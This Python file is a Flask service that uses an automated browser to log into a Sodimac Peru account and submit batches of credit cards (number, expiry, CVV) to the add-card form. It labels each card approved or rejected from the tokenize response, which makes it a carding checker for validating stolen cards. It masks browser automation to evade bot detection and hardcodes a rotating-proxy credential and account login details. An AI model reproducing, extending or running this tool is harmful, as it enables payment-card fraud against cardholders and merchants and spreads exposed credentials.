import asyncio
import json
from flask import Flask, request, jsonify
from playwright.async_api import async_playwright
import traceback
import time

app = Flask(__name__)

USAR_PROXY = False
PROXY_CONFIG = {"server": "http://znnrliia-US-rotate:5rbgwcvkxfc3@p.webshare.io:80"}
SODIMAC_EMAIL = "francisca18_176@shred.lat"
SODIMAC_PASSWORD = "99kFF@@123"

class SodimacAPI:
    def __init__(self):
        self.browser = None
        self.context = None
        self.page = None
        self.playwright = None
        
    async def init_browser(self):
        self.playwright = await async_playwright().start()
        self.browser = await self.playwright.chromium.launch(
            headless=False,
            args=['--disable-blink-features=AutomationControlled']
        )
        self.context = await self.browser.new_context(
            user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
            viewport={"width": 1366, "height": 768},
            locale="es-PE"
        )
        await self.context.add_init_script("""
            Object.defineProperty(navigator, 'webdriver', {
                get: () => undefined
            });
        """)
        self.page = await self.context.new_page()
        return True
    
    async def login(self):
        try:
            await self.page.goto(
                "https://www.sodimac.com.pe/sodimac-pe/myaccount/login",
                wait_until="networkidle",
                timeout=30000
            )
            await asyncio.sleep(3)
            
            await self.page.fill("input[type='email'], input[name='email']", SODIMAC_EMAIL)
            await asyncio.sleep(1.5)
            await self.page.fill("input[type='password']", SODIMAC_PASSWORD)
            await asyncio.sleep(1.5)
            await self.page.click("button:has-text('Ingresar'), button[type='submit']")
            await asyncio.sleep(5)
            
            for _ in range(5):
                await asyncio.sleep(1)
                if "dashboard" in self.page.url or "Mi cuenta" in await self.page.content():
                    return True, "Login exitoso"
            
            return False, "Login fallido"
        except Exception as e:
            return False, f"Error login: {str(e)[:50]}"
    
    async def ir_a_pagos(self):
        await self.page.goto("https://www.sodimac.com.pe/sodimac-pe/myaccount/myPayments", wait_until="networkidle")
        await asyncio.sleep(4)
        return True
    
    async def cerrar_drawer(self):
        """Cierra el drawer - MISMA FUNCIÓN QUE FALABELLA"""
        try:
            selectores_cerrar = [
                "button.payment-methods_close-drawer-button__0pSPk",
                "button[class*='close-drawer']",
                "button:has(svg[viewBox='0 0 24 24'])",
                "button[aria-label='Cerrar']"
            ]
            
            for selector in selectores_cerrar:
                try:
                    btn_cerrar = await self.page.wait_for_selector(selector, timeout=3000)
                    if btn_cerrar:
                        await btn_cerrar.click()
                        await asyncio.sleep(1.5)
                        return True
                except:
                    continue
            
            await self.page.keyboard.press("Escape")
            await asyncio.sleep(1.5)
            return True
            
        except Exception as e:
            try:
                await self.page.mouse.click(10, 10)
                await asyncio.sleep(1)
            except:
                pass
            return False
    
    async def procesar_tarjeta_en_iframe(self, frame, tarjeta):
        """PROCESA LA TARJETA DENTRO DEL IFRAME - MISMA FUNCIÓN QUE FALABELLA"""
        try:
            # Número de tarjeta
            selectores_numero = [
                "input[name='pan']",
                "input[placeholder='0000 0000 0000 0000']",
                "input[type='password'][placeholder*='0000']"
            ]
            
            campo_numero = None
            for selector in selectores_numero:
                try:
                    campo_numero = await frame.wait_for_selector(selector, timeout=5000)
                    if campo_numero:
                        break
                except:
                    continue
            
            if not campo_numero:
                return False
            
            await campo_numero.click()
            await asyncio.sleep(0.5)
            await campo_numero.fill(tarjeta["numero"])
            await asyncio.sleep(1)
            
            # Fecha
            selectores_fecha = [
                "input[name='exp_date']",
                "input[placeholder='MM/AA']",
                "input[placeholder*='MM']"
            ]
            
            campo_fecha = None
            for selector in selectores_fecha:
                try:
                    campo_fecha = await frame.wait_for_selector(selector, timeout=5000)
                    if campo_fecha:
                        break
                except:
                    continue
            
            if campo_fecha:
                fecha_formateada = f"{tarjeta['mes']}/{tarjeta['anio'][-2:]}"
                await campo_fecha.click()
                await asyncio.sleep(0.5)
                await campo_fecha.fill(fecha_formateada)
                await asyncio.sleep(1)
            
            # CVV
            selectores_cvv = [
                "input[name='cvv']",
                "input[placeholder='CVV']",
                "input[placeholder*='cvv' i]"
            ]
            
            campo_cvv = None
            for selector in selectores_cvv:
                try:
                    campo_cvv = await frame.wait_for_selector(selector, timeout=5000)
                    if campo_cvv:
                        break
                except:
                    continue
            
            if campo_cvv:
                await campo_cvv.click()
                await asyncio.sleep(0.5)
                await campo_cvv.fill(tarjeta["cvv"])
                await asyncio.sleep(1)
            
            # Botón Agregar
            selectores_boton = [
                "button[type='submit']",
                "button:has-text('Agregar')",
                "button:has-text('Guardar')"
            ]
            
            boton_agregar = None
            for selector in selectores_boton:
                try:
                    boton_agregar = await frame.wait_for_selector(selector, timeout=5000)
                    if boton_agregar:
                        break
                except:
                    continue
            
            if boton_agregar:
                try:
                    await frame.wait_for_function(
                        """button => !button.disabled && button.offsetParent !== null""",
                        arg=boton_agregar,
                        timeout=10000
                    )
                except:
                    pass
                
                await boton_agregar.click()
                return True
            
            return False
            
        except Exception as e:
            return False
    
    async def procesar_tarjeta(self, tarjeta):
        try:
            http_status = None
            error_code = None
            
            async def handle_response(response):
                nonlocal http_status, error_code
                if "/tokenize" in response.url:
                    http_status = response.status
                    if response.status == 422:
                        try:
                            body_json = await response.json()
                            error_code = body_json.get("capture", {}).get("errorCode", "VALIDATE_CARD_ERROR")
                        except:
                            error_code = "VALIDATE_CARD_ERROR"
            
            self.page.on("response", lambda response: asyncio.create_task(handle_response(response)))
            
            # Abrir formulario - IGUAL QUE FALABELLA
            boton_agregar = await self.page.wait_for_selector("button:has-text('Agregar tarjeta')", timeout=10000)
            await boton_agregar.click()
            await asyncio.sleep(2)
            
            btn_credito = await self.page.wait_for_selector("button:has-text('Tarjeta de crédito')", timeout=10000)
            await btn_credito.click()
            await asyncio.sleep(2)
            
            # Esperar iframe - IGUAL QUE FALABELLA
            iframe_element = await self.page.wait_for_selector("iframe[title*='tarjeta'], iframe[src*='digitalpayment']", timeout=20000)
            frame = await iframe_element.content_frame()
            
            if not frame:
                return {"status": "ERROR", "message": "Iframe no accesible"}
            
            exito_form = await self.procesar_tarjeta_en_iframe(frame, tarjeta)
            
            if not exito_form:
                return {"status": "ERROR", "message": "Formulario falló"}
            
            await asyncio.sleep(5)
            
            # Verificar resultado
            ultimos_digitos = tarjeta["numero"][-4:]
            tarjeta_en_lista = await self.verificar_tarjeta_en_lista(ultimos_digitos)
            
            if http_status == 200 or tarjeta_en_lista:
                return {"status": "APROBADA", "message": "Tarjeta agregada correctamente"}
            elif http_status == 422:
                return {"status": "RECHAZADA", "message": error_code or "VALIDATE_CARD_ERROR"}
            else:
                return {"status": "RECHAZADA", "message": "VALIDATE_CARD_ERROR"}
                
        except Exception as e:
            return {"status": "ERROR", "message": str(e)[:80]}
    
    async def verificar_tarjeta_en_lista(self, ultimos_digitos):
        try:
            await asyncio.sleep(2)
            selector = f"span:has-text('{ultimos_digitos}')"
            elemento = await self.page.query_selector(selector)
            return elemento is not None
        except:
            return False
    
    async def procesar_multiples_tarjetas(self, tarjetas):
        resultados = []
        total = len(tarjetas)
        
        for i, tarjeta in enumerate(tarjetas):
            print(f"[+] Procesando {i+1}/{total}: {tarjeta['numero'][:6]}******{tarjeta['numero'][-4:]}")
            resultado = await self.procesar_tarjeta(tarjeta)
            print(f"[+] Resultado: {resultado['status']}")
            resultados.append(resultado)
            
            # Cerrar drawer después de cada tarjeta
            await self.cerrar_drawer()
            await asyncio.sleep(2)
        
        return resultados
    
    async def close(self):
        try:
            if self.browser:
                await self.browser.close()
            if self.playwright:
                await self.playwright.stop()
        except:
            pass


@app.route('/check_multi', methods=['POST'])
async def check_multiple_cards():
    bot = None
    try:
        data = request.get_json()
        if not data:
            return jsonify({'status': 'ERROR', 'message': 'No data provided'}), 400
        
        cards_data = data.get('cards', [])
        if not cards_data:
            return jsonify({'status': 'ERROR', 'message': 'No cards provided'}), 400
        
        tarjetas = []
        for card_data in cards_data:
            if isinstance(card_data, str):
                partes = card_data.split('|')
                if len(partes) == 4:
                    tarjetas.append({
                        'numero': partes[0].replace(' ', ''),
                        'mes': partes[1].zfill(2),
                        'anio': partes[2],
                        'cvv': partes[3]
                    })
        
        if not tarjetas:
            return jsonify({'status': 'ERROR', 'message': 'No valid cards'}), 400
        
        print(f"[+] Iniciando lote de {len(tarjetas)} tarjetas")
        inicio_lote = time.time()
        
        bot = SodimacAPI()
        await bot.init_browser()
        
        print("[+] Logeando...")
        success, msg = await bot.login()
        if not success:
            return jsonify({'status': 'ERROR', 'message': f'Login failed: {msg}'}), 500
        
        print("[+] Navegando a medios de pago...")
        await bot.ir_a_pagos()
        
        print("[+] Procesando todas las tarjetas...")
        resultados = await bot.procesar_multiples_tarjetas(tarjetas)
        
        duracion = time.time() - inicio_lote
        print(f"[+] Lote completado en {duracion:.2f} segundos")
        
        return jsonify({'results': resultados, 'duration': round(duracion, 2)})
        
    except Exception as e:
        print(f"[+] Error: {traceback.format_exc()}")
        return jsonify({'status': 'ERROR', 'message': str(e)[:100]}), 500
    
    finally:
        if bot:
            await bot.close()
            print("[+] Sesión cerrada")


if __name__ == '__main__':
    print("""
    ==================================================
    🏠 SODIMAC API - Payment Processor v6.3
    ==================================================
    ✅ Endpoint: http://localhost:5000/check_multi
    ==================================================
    """)
    app.run(host='0.0.0.0', port=5000, debug=False, threaded=True)